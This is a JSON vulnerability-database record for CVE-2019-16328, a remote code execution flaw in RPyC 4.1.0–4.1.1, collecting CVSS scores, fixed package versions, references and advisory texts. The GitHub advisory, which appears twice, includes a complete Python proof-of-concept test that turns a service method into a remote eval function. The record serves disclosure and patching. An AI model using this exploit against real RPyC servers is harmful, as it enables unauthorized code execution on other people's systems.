{"id":"CVE-2019-16328","aliases":["EUVD-2019-0126","GHSA-9ggp-4jpr-7ppj","GHSA-pj4g-4488-wmxm","PYSEC-2019-118","UBUNTU-CVE-2019-16328","openSUSE-SU-2020:0685-1","openSUSE-SU-2020:0763-1","openSUSE-SU-2024:11268-1","openSUSE-SU-2024:14162-1","openSUSE-SU-2026:12040-1"],"status":"published","title":"Duplicate Advisory: Possible remote code execution via a remote procedure call","description":"In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high","assessor":"primary","from":"nvd"},"epss":{"day":"2026-11-09","score":0.13049,"percentile":0.96372,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1321","CWE-285"],"published":"2019-10-03T19:51:43Z","modified":"2026-10-20T10:52:26Z","exploits":[{"source":"metasploit","id":"auxiliary/scanner/http/rpyc_rce","title":"RPyC 4.1.0 through 4.1.1 Remote Command Execution","type":"auxiliary","date":"2023-02-19","verified":true,"url":"https://www.rapid7.com/db/modules/auxiliary/scanner/http/rpyc_rce"}],"fixes":[{"ecosystem":"PyPI","package":"rpyc","fixed_in":["4.1.1","4.1.2"],"sources":["ghsa","osv"]},{"ecosystem":"openSUSE:Leap 15.1","package":"python-rpyc","fixed_in":["4.1.5-lp151.3.3.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Leap 15.1","package":"python-rpyc-test","fixed_in":["4.1.5-lp151.3.3.1"],"sources":["osv"]},{"ecosystem":"SUSE:Package Hub 15 SP1","package":"python-rpyc","fixed_in":["4.1.5-bp151.2.3.1"],"sources":["osv"]},{"ecosystem":"SUSE:Package Hub 15 SP1","package":"python-rpyc-test","fixed_in":["4.1.5-bp151.2.3.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"python-rpyc","fixed_in":["6.0.0-1.2"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"rpyc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.0"},{"last_affected":"4.1.0"},{"fixed":"4.1.1"}]}],"versions":["4.1.0"]},{"source":"osv","ecosystem":"PyPI","package":"rpyc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.0"},{"fixed":"4.1.1"}]}],"versions":["4.1.0"]},{"source":"osv","ecosystem":"PyPI","package":"rpyc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.0"},{"fixed":"4.1.2"}]}],"versions":["4.1.0","4.1.1"]},{"source":"osv","ecosystem":"openSUSE:Leap 15.1","package":"python-rpyc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.5-lp151.3.3.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Leap 15.1","package":"python-rpyc-test","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.5-lp151.3.3.1"}]}]},{"source":"osv","ecosystem":"SUSE:Package Hub 15 SP1","package":"python-rpyc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.5-bp151.2.3.1"}]}]},{"source":"osv","ecosystem":"SUSE:Package Hub 15 SP1","package":"python-rpyc-test","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.5-bp151.2.3.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-rpyc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.0.0-1.2"}]}]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-rpyc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.0.2-1.5"}]}],"bundled":2}],"products":[{"vendor":"rpyc_project","product":"rpyc"}],"references":[{"url":"https://github.com/tomerfiliba/rpyc","tags":["x_refsource_MISC","x_transferred","Product","Third Party Advisory","package","web"]},{"url":"https://rpyc.readthedocs.io/en/latest/docs/security.html","tags":["x_refsource_MISC","x_transferred","Exploit","Vendor Advisory","evidence","web"]},{"url":"http://lists.opensuse.org/opensuse-security-announce/2020-05/msg00046.html","tags":["vendor-advisory","x_refsource_SUSE","x_transferred","Broken Link","web"]},{"url":"http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00004.html","tags":["vendor-advisory","x_refsource_SUSE","x_transferred","Broken Link","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2019-16328","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-9ggp-4jpr-7ppj","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-pj4g-4488-wmxm","tags":["advisory"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/rpyc/PYSEC-2019-118.yaml","tags":["web"]},{"url":"https://github.com/tomerfiliba-org/rpyc/security/advisories/GHSA-pj4g-4488-wmxm","tags":["web"]},{"url":"https://github.com/tomerfiliba-org/rpyc","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2019-16328","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2019-16328","tags":["report"]},{"url":"https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/YHUKBLKWZWODQKPCVHXLQCUVGYXZ2GNZ/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1152987","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2019-16328","tags":["web"]},{"url":"https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/P2P2Z5TQ7S4G5GV2BXHOSEUU7WD6ISPM/","tags":["advisory"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2024-27758","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2019-16328","description":"In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.","status":"published","published":"2019-10-03T19:51:43Z","modified":"2024-08-05T01:10:41.682Z","updated_at":"2026-11-02T14:32:23.485011Z"}],"euvd":[{"id":"EUVD-2019-0126","description":"In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.","status":"published","published":"2019-10-03T19:51:43Z","modified":"2024-08-05T01:10:41Z","updated_at":"2026-11-03T02:40:33.71788Z"}],"ghsa":[{"id":"GHSA-pj4g-4488-wmxm","title":"Dynamic modification of RPyC service due to missing security check","description":"### Impact\nVersion 4.1.0 of RPyC has a vulnerability that affects custom RPyC services making it susceptible to authenticated remote attacks.\n\n### Patches\nGit commits between September 2018 and October 2019 and version 4.1.0 are vulnerable. Use a version of RPyC that is not affected.\n\n### Workarounds\nThe commit `d818ecc83a92548994db75a0e9c419c7bce680d6` could be used as a patch to add the missing access check.\n\n### References\n[CVE-2019-16328](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16328)\n[RPyC Security Documentation](https://rpyc.readthedocs.io/en/latest/docs/security.html#security)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue using [GitHub](https://github.com/tomerfiliba-org/rpyc)\n\n### Proof of Concept\n```\nimport logging\nimport rpyc\nimport tempfile\nfrom subprocess import Popen, PIPE\nimport unittest\n\n\nPORT = 18861\nSERVER_SCRIPT = f\"\"\"#!/usr/bin/env python\nimport rpyc\nfrom rpyc.utils.server import ThreadedServer, ThreadPoolServer\nfrom rpyc import SlaveService\nimport rpyc\n\n\nclass Foe(object):\n    foo = \"bar\"\n\n\nclass Fee(rpyc.Service):\n    exposed_Fie = Foe\n\n    def exposed_nop(self):\n        return\n\n\nif __name__ == \"__main__\":\n    server = ThreadedServer(Fee, port={PORT}, auto_register=False)\n    thd = server.start()\n\"\"\"\n\n\ndef setattr_orig(target, attrname, codeobj):\n    setattr(target, attrname, codeobj)\n\n\ndef myeval(self=None, cmd=\"__import__('sys')\"):\n    return eval(cmd)\n\n\ndef get_code(obj_codetype, func, filename=None, name=None):\n    func_code = func.__code__\n    arg_names = ['co_argcount', 'co_posonlyargcount', 'co_kwonlyargcount', 'co_nlocals', 'co_stacksize', 'co_flags',\n                 'co_code', 'co_consts', 'co_names', 'co_varnames', 'co_filename', 'co_name', 'co_firstlineno',\n                 'co_lnotab', 'co_freevars', 'co_cellvars']\n\n    codetype_args = [getattr(func_code, n) for n in arg_names]\n    if filename:\n        codetype_args[arg_names.index('co_filename')] = filename\n    if name:\n        codetype_args[arg_names.index('co_name')] = name\n    mycode = obj_codetype(*codetype_args)\n    return mycode\n\n\ndef _vercmp_gt(ver1, ver2):\n    ver1_gt_ver2 = False\n    for i, v1 in enumerate(ver1):\n        v2 = ver2[i]\n        if v1 \u003e v2:\n            ver1_gt_ver2 = True\n            break\n        elif v1 == v2:\n            continue\n        else:  # v1 \u003c v2\n            break\n    return ver1_gt_ver2\n\n\n@unittest.skipIf(not _vercmp_gt(rpyc.__version__, (3, 4, 4)), \"unaffected version\")\nclass Test_InfoDisclosure_Service(unittest.TestCase):\n\n    @classmethod\n    def setUpClass(cls):\n\n        cls.logger = logging.getLogger('rpyc')\n        cls.logger.setLevel(logging.DEBUG)  # NOTSET only traverses until another level is found, so DEBUG is preferred\n        cls.hscript = tempfile.NamedTemporaryFile()\n        cls.hscript.write(SERVER_SCRIPT.encode())\n        cls.hscript.flush()\n        while cls.hscript.file.tell() != len(SERVER_SCRIPT):\n            pass\n        cls.server = Popen([\"python\", cls.hscript.name], stdout=PIPE, stderr=PIPE, text=True)\n        cls.conn = rpyc.connect(\"localhost\", PORT)\n\n    @classmethod\n    def tearDownClass(cls):\n        cls.conn.close()\n        cls.logger.info(cls.server.stdout.read())\n        cls.logger.info(cls.server.stderr.read())\n        cls.server.kill()\n        cls.hscript.close()\n\n    def netref_getattr(self, netref, attrname):\n        # PoC CWE-358: abuse __cmp__ function that was missing a security check\n        handler = rpyc.core.consts.HANDLE_CMP\n        return self.conn.sync_request(handler, netref, attrname, '__getattribute__')\n\n    def test_1_modify_nop(self):\n        # create netrefs for builtins and globals that will be used to construct on remote\n        remote_svc_proto = self.netref_getattr(self.conn.root, '_protocol')\n        remote_dispatch = self.netref_getattr(remote_svc_proto, '_dispatch_request')\n        remote_class_globals = self.netref_getattr(remote_dispatch, '__globals__')\n        remote_modules = self.netref_getattr(remote_class_globals['sys'], 'modules')\n        _builtins = remote_modules['builtins']\n        remote_builtins = {k: self.netref_getattr(_builtins, k) for k in dir(_builtins)}\n\n        # populate globals for CodeType calls on remote\n        remote_globals = remote_builtins['dict']()\n        for name, netref in remote_builtins.items():\n            remote_globals[name] = netref\n        for name, netref in self.netref_getattr(remote_modules, 'items')():\n            remote_globals[name] = netref\n\n        # create netrefs for types to create remote function malicously\n        remote_types = remote_builtins['__import__'](\"types\")\n        remote_types_CodeType = self.netref_getattr(remote_types, 'CodeType')\n        remote_types_FunctionType = self.netref_getattr(remote_types, 'FunctionType')\n\n        # remote eval function constructed\n        remote_eval_codeobj = get_code(remote_types_CodeType, myeval, filename='test_code.py', name='__code__')\n        remote_eval = remote_types_FunctionType(remote_eval_codeobj, remote_globals)\n        # PoC CWE-913: modify the exposed_nop of service\n        #   by binding various netrefs in this execution frame, they are cached in\n        #   the remote address space. setattr and eval functions are cached for the life\n        #   of the netrefs in the frame. A consequence of Netref classes inheriting\n        #   BaseNetref, each object is cached under_local_objects. So, we are able\n        #   to construct arbitrary code using types and builtins.\n\n        # use the builtin netrefs to modify the service to use the constructed eval func\n        remote_setattr = remote_builtins['setattr']\n        remote_type = remote_builtins['type']\n        remote_setattr(remote_type(self.conn.root), 'exposed_nop', remote_eval)\n\n        # show that nop was replaced by eval to complete the PoC\n        remote_sys = self.conn.root.nop('__import__(\"sys\")')\n        remote_stack = self.conn.root.nop('\"\".join(__import__(\"traceback\").format_stack())')\n        self.assertEqual(type(remote_sys).__name__, 'builtins.module')\n        self.assertIsInstance(remote_sys, rpyc.core.netref.BaseNetref)\n        self.assertIn('rpyc/utils/server.py', remote_stack)\n\n    def test_2_new_conn_impacted(self):\n        # demostrate impact and scope of vuln for new connections\n        self.conn.close()\n        self.conn = rpyc.connect(\"localhost\", PORT)\n        # show new conn can still use nop as eval\n        remote_sys = self.conn.root.nop('__import__(\"sys\")')\n        remote_stack = self.conn.root.nop('\"\".join(__import__(\"traceback\").format_stack())')\n        self.assertEqual(type(remote_sys).__name__, 'builtins.module')\n        self.assertIsInstance(remote_sys, rpyc.core.netref.BaseNetref)\n        self.assertIn('rpyc/utils/server.py', remote_stack)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n```","status":"published","published":"2021-02-17T19:50:58Z","modified":"2023-01-27T05:08:06Z","cvss":[{"version":"3.1","score":8.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-285","CWE-1321"],"updated_at":"2026-11-02T14:36:22.592333Z"},{"id":"GHSA-9ggp-4jpr-7ppj","title":"Duplicate Advisory: Possible remote code execution via a remote procedure call","description":"Withdrawn: duplicate of GHSA-pj4g-4488-wmxm\n\n## Original Description\n\nIn RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.","status":"withdrawn","published":"2019-11-20T01:35:53Z","modified":"2024-10-26T22:38:05Z","updated_at":"2026-11-02T14:38:13.90937Z"}],"nvd":[{"id":"CVE-2019-16328","description":"In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.","status":"published","published":"2019-10-03T20:15:10.26Z","modified":"2026-06-17T02:22:08.13Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high","assessor":"primary"},{"version":"2.0","score":5,"vector":"AV:N/AC:L/Au:N/C:N/I:P/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:05:31.019577Z"}],"osv":[{"id":"CVE-2019-16328","description":"In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.","status":"published","published":"2019-10-03T20:15:10.26Z","modified":"2026-10-20T10:52:26.749313732Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T15:44:11.361782Z"},{"id":"GHSA-pj4g-4488-wmxm","title":"Dynamic modification of RPyC service due to missing security check","description":"### Impact\nVersion 4.1.0 of RPyC has a vulnerability that affects custom RPyC services making it susceptible to authenticated remote attacks.\n\n### Patches\nGit commits between September 2018 and October 2019 and version 4.1.0 are vulnerable. Use a version of RPyC that is not affected.\n\n### Workarounds\nThe commit `d818ecc83a92548994db75a0e9c419c7bce680d6` could be used as a patch to add the missing access check.\n\n### References\n[CVE-2019-16328](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16328)\n[RPyC Security Documentation](https://rpyc.readthedocs.io/en/latest/docs/security.html#security)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue using [GitHub](https://github.com/tomerfiliba-org/rpyc)\n\n### Proof of Concept\n```\nimport logging\nimport rpyc\nimport tempfile\nfrom subprocess import Popen, PIPE\nimport unittest\n\n\nPORT = 18861\nSERVER_SCRIPT = f\"\"\"#!/usr/bin/env python\nimport rpyc\nfrom rpyc.utils.server import ThreadedServer, ThreadPoolServer\nfrom rpyc import SlaveService\nimport rpyc\n\n\nclass Foe(object):\n    foo = \"bar\"\n\n\nclass Fee(rpyc.Service):\n    exposed_Fie = Foe\n\n    def exposed_nop(self):\n        return\n\n\nif __name__ == \"__main__\":\n    server = ThreadedServer(Fee, port={PORT}, auto_register=False)\n    thd = server.start()\n\"\"\"\n\n\ndef setattr_orig(target, attrname, codeobj):\n    setattr(target, attrname, codeobj)\n\n\ndef myeval(self=None, cmd=\"__import__('sys')\"):\n    return eval(cmd)\n\n\ndef get_code(obj_codetype, func, filename=None, name=None):\n    func_code = func.__code__\n    arg_names = ['co_argcount', 'co_posonlyargcount', 'co_kwonlyargcount', 'co_nlocals', 'co_stacksize', 'co_flags',\n                 'co_code', 'co_consts', 'co_names', 'co_varnames', 'co_filename', 'co_name', 'co_firstlineno',\n                 'co_lnotab', 'co_freevars', 'co_cellvars']\n\n    codetype_args = [getattr(func_code, n) for n in arg_names]\n    if filename:\n        codetype_args[arg_names.index('co_filename')] = filename\n    if name:\n        codetype_args[arg_names.index('co_name')] = name\n    mycode = obj_codetype(*codetype_args)\n    return mycode\n\n\ndef _vercmp_gt(ver1, ver2):\n    ver1_gt_ver2 = False\n    for i, v1 in enumerate(ver1):\n        v2 = ver2[i]\n        if v1 \u003e v2:\n            ver1_gt_ver2 = True\n            break\n        elif v1 == v2:\n            continue\n        else:  # v1 \u003c v2\n            break\n    return ver1_gt_ver2\n\n\n@unittest.skipIf(not _vercmp_gt(rpyc.__version__, (3, 4, 4)), \"unaffected version\")\nclass Test_InfoDisclosure_Service(unittest.TestCase):\n\n    @classmethod\n    def setUpClass(cls):\n\n        cls.logger = logging.getLogger('rpyc')\n        cls.logger.setLevel(logging.DEBUG)  # NOTSET only traverses until another level is found, so DEBUG is preferred\n        cls.hscript = tempfile.NamedTemporaryFile()\n        cls.hscript.write(SERVER_SCRIPT.encode())\n        cls.hscript.flush()\n        while cls.hscript.file.tell() != len(SERVER_SCRIPT):\n            pass\n        cls.server = Popen([\"python\", cls.hscript.name], stdout=PIPE, stderr=PIPE, text=True)\n        cls.conn = rpyc.connect(\"localhost\", PORT)\n\n    @classmethod\n    def tearDownClass(cls):\n        cls.conn.close()\n        cls.logger.info(cls.server.stdout.read())\n        cls.logger.info(cls.server.stderr.read())\n        cls.server.kill()\n        cls.hscript.close()\n\n    def netref_getattr(self, netref, attrname):\n        # PoC CWE-358: abuse __cmp__ function that was missing a security check\n        handler = rpyc.core.consts.HANDLE_CMP\n        return self.conn.sync_request(handler, netref, attrname, '__getattribute__')\n\n    def test_1_modify_nop(self):\n        # create netrefs for builtins and globals that will be used to construct on remote\n        remote_svc_proto = self.netref_getattr(self.conn.root, '_protocol')\n        remote_dispatch = self.netref_getattr(remote_svc_proto, '_dispatch_request')\n        remote_class_globals = self.netref_getattr(remote_dispatch, '__globals__')\n        remote_modules = self.netref_getattr(remote_class_globals['sys'], 'modules')\n        _builtins = remote_modules['builtins']\n        remote_builtins = {k: self.netref_getattr(_builtins, k) for k in dir(_builtins)}\n\n        # populate globals for CodeType calls on remote\n        remote_globals = remote_builtins['dict']()\n        for name, netref in remote_builtins.items():\n            remote_globals[name] = netref\n        for name, netref in self.netref_getattr(remote_modules, 'items')():\n            remote_globals[name] = netref\n\n        # create netrefs for types to create remote function malicously\n        remote_types = remote_builtins['__import__'](\"types\")\n        remote_types_CodeType = self.netref_getattr(remote_types, 'CodeType')\n        remote_types_FunctionType = self.netref_getattr(remote_types, 'FunctionType')\n\n        # remote eval function constructed\n        remote_eval_codeobj = get_code(remote_types_CodeType, myeval, filename='test_code.py', name='__code__')\n        remote_eval = remote_types_FunctionType(remote_eval_codeobj, remote_globals)\n        # PoC CWE-913: modify the exposed_nop of service\n        #   by binding various netrefs in this execution frame, they are cached in\n        #   the remote address space. setattr and eval functions are cached for the life\n        #   of the netrefs in the frame. A consequence of Netref classes inheriting\n        #   BaseNetref, each object is cached under_local_objects. So, we are able\n        #   to construct arbitrary code using types and builtins.\n\n        # use the builtin netrefs to modify the service to use the constructed eval func\n        remote_setattr = remote_builtins['setattr']\n        remote_type = remote_builtins['type']\n        remote_setattr(remote_type(self.conn.root), 'exposed_nop', remote_eval)\n\n        # show that nop was replaced by eval to complete the PoC\n        remote_sys = self.conn.root.nop('__import__(\"sys\")')\n        remote_stack = self.conn.root.nop('\"\".join(__import__(\"traceback\").format_stack())')\n        self.assertEqual(type(remote_sys).__name__, 'builtins.module')\n        self.assertIsInstance(remote_sys, rpyc.core.netref.BaseNetref)\n        self.assertIn('rpyc/utils/server.py', remote_stack)\n\n    def test_2_new_conn_impacted(self):\n        # demostrate impact and scope of vuln for new connections\n        self.conn.close()\n        self.conn = rpyc.connect(\"localhost\", PORT)\n        # show new conn can still use nop as eval\n        remote_sys = self.conn.root.nop('__import__(\"sys\")')\n        remote_stack = self.conn.root.nop('\"\".join(__import__(\"traceback\").format_stack())')\n        self.assertEqual(type(remote_sys).__name__, 'builtins.module')\n        self.assertIsInstance(remote_sys, rpyc.core.netref.BaseNetref)\n        self.assertIn('rpyc/utils/server.py', remote_stack)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n```","status":"published","published":"2021-02-17T19:50:58Z","modified":"2023-11-08T04:01:17.495506Z","cvss":[{"version":"3.1","score":8.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-1321","CWE-285"],"updated_at":"2026-11-02T15:46:53.244788Z"},{"id":"UBUNTU-CVE-2019-16328","description":"In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.","status":"withdrawn","published":"2019-10-03T20:15:00Z","modified":"2025-07-16T07:39:44.072546Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T15:54:20.325378Z"},{"id":"GHSA-9ggp-4jpr-7ppj","title":"Duplicate Advisory: Possible remote code execution via a remote procedure call","description":"Withdrawn: duplicate of GHSA-pj4g-4488-wmxm\n\n## Original Description\n\nIn RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.","status":"withdrawn","published":"2019-11-20T01:35:53Z","modified":"2024-12-06T05:39:36.478645Z","updated_at":"2026-11-02T15:46:43.875515Z"},{"id":"openSUSE-SU-2020:0685-1","title":"Security update for python-rpyc","description":"This update for python-rpyc to 4.1.5 fixes the following issues:\n\nSecurity issue fixed:\n\n- CVE-2019-16328: Fixed a missing protocol security check that could have led to code execution (boo#1152987).\n","status":"published","published":"2020-05-22T16:17:42Z","modified":"2026-02-04T04:34:28.315543Z","updated_at":"2026-11-02T16:58:31.152112Z"},{"id":"openSUSE-SU-2020:0763-1","title":"Security update for python-rpyc","description":"This update for python-rpyc to 4.1.5 fixes the following issues:\n\nSecurity issue fixed:\n\n- CVE-2019-16328: Fixed a missing protocol security check that could have led to code execution (boo#1152987).\n\nThis update was imported from the openSUSE:Leap:15.1:Update update project.","status":"published","published":"2020-06-03T08:44:19Z","modified":"2026-02-04T03:55:13.184653Z","updated_at":"2026-11-02T16:58:31.152112Z"},{"id":"openSUSE-SU-2024:11268-1","title":"python36-rpyc-4.1.5-2.7 on GA media","description":"These are all security issues fixed in the python36-rpyc-4.1.5-2.7 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2024-06-15T00:00:00Z","modified":"2026-02-04T03:40:16.077158Z","updated_at":"2026-11-02T16:58:34.894275Z"},{"id":"openSUSE-SU-2024:14162-1","title":"python310-rpyc-6.0.0-1.2 on GA media","description":"These are all security issues fixed in the python310-rpyc-6.0.0-1.2 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2024-07-12T00:00:00Z","modified":"2026-02-04T02:24:52.329302Z","updated_at":"2026-11-02T16:58:36.662953Z"},{"id":"openSUSE-SU-2026:12040-1","title":"python313-rpyc-6.0.2-1.5 on GA media","description":"These are all security issues fixed in the python313-rpyc-6.0.2-1.5 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-10-04T00:00:00Z","modified":"2026-10-05T10:15:52.537214261Z","updated_at":"2026-11-02T16:58:40.245664Z"},{"id":"PYSEC-2019-118","description":"In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.","status":"published","published":"2019-10-03T20:15:00Z","modified":"2023-11-08T04:01:17.495506Z","updated_at":"2026-11-02T15:52:52.192131Z"}]}}
